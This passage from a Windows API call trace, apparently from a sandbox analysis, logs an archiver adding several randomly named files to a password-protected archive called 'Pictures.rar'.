lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x918fe1 [0065.165] SetFilePointer (in: hFile=0x198, lDistanceToMove=46, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x91900f [0065.165] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.165] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.165] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.165] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.165] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539553, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918fe1 [0065.165] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x918fe1 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.166] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c380, Size=0x48) returned 0x26fed0 [0065.166] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x2e, lpOverlapped=0x0) returned 1 [0065.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.166] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x91900f [0065.166] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.166] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.166] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.166] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.166] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.166] GetTickCount () returned 0xa669dc [0065.166] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.166] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.166] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.166] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.166] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="9Cnbfi2a") returned 8 [0065.166] SetWindowTextW (hWnd=0x1024c, lpString="HNlFrbJUHSODl") returned 1 [0065.166] GetTickCount () returned 0xa669dc [0065.166] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.167] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fed0 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.167] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.167] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.167] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x91900f [0065.167] SetFilePointer (in: hFile=0x198, lDistanceToMove=65, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x919050 [0065.167] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.167] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.167] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.167] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.167] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539599, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x91900f [0065.167] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x91900f [0065.167] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.167] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.167] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.167] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.167] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3e0, Size=0x48) returned 0x26fed0 [0065.167] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x41, lpOverlapped=0x0) returned 1 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.167] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.167] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x919050 [0065.167] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.167] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.167] FindFirstFileW (in: lpFileName="4Vw2ygLPEu-Maci0qp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.167] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.167] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.168] GetTickCount () returned 0xa669dc [0065.168] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.168] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.168] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.168] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.168] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="HNlFrbJUHSODl") returned 13 [0065.168] SetWindowTextW (hWnd=0x1024c, lpString="4Vw2ygLPEu-Maci0qp") returned 1 [0065.168] GetTickCount () returned 0xa669dc [0065.168] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.168] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.168] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.168] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.168] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.168] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.168] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.168] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3b0, Size=0x48) returned 0x26fed0 [0065.168] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.168] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.168] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.168] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.168] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x919050 [0065.168] SetFilePointer (in: hFile=0x198, lDistanceToMove=49, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x919081 [0065.168] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.168] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.168] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.168] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.168] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539664, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x919050 [0065.168] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x919050 [0065.168] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.169] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c380, Size=0x48) returned 0x26fed0 [0065.169] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x31, lpOverlapped=0x0) returned 1 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.169] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x919081 [0065.169] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.169] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.169] FindFirstFileW (in: lpFileName="6so3uw", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.169] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.169] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.169] GetTickCount () returned 0xa669dc [0065.169] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.169] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.169] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.169] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.169] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="4Vw2ygLPEu-Maci0qp") returned 18 [0065.169] SetWindowTextW (hWnd=0x1024c, lpString="6so3uw") returned 1 [0065.169] GetTickCount () returned 0xa669dc [0065.169] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.169] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fed0 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.169] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.170] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.170] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x919081 [0065.170] SetFilePointer (in: hFile=0x198, lDistanceToMove=37, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x9190a6 [0065.170] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.170] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.170] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.170] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.170] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539713, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x919081 [0065.170] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x919081 [0065.170] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.170] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.170] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.170] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.170] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.170] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.170] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3e0, Size=0x48) returned 0x26fed0 [0065.170] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x25, lpOverlapped=0x0) returned 1 [0065.170] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.170] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.170] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x9190a6 [0065.170] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.170] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.170] FindFirstFileW (in: lpFileName="FF-GXA22K-J", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.170] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.170] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.170] GetTickCount () returned 0xa669dc [0065.170] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.170] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.170] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.170] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.171] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="6so3uw") returned 6 [0065.171] SetWindowTextW (hWnd=0x1024c, lpString="FF-GXA22K-J") returned 1 [0065.171] GetTickCount () returned 0xa669dc [0065.171] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.171] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.171] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.171] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3b0, Size=0x48) returned 0x26fed0 [0065.171] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.171] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.171] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.171] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.171] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x9190a6 [0065.171] SetFilePointer (in: hFile=0x198, lDistanceToMove=42, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x9190d0 [0065.171] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.171] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.171] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.171] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.171] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539750, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x9190a6 [0065.171] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x9190a6 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.171] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.171] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.171] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c380, Size=0x48) returned 0x26fed0 [0065.172] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x2a, lpOverlapped=0x0) returned 1 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.172] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x9190d0 [0065.172] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.172] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.172] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.172] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 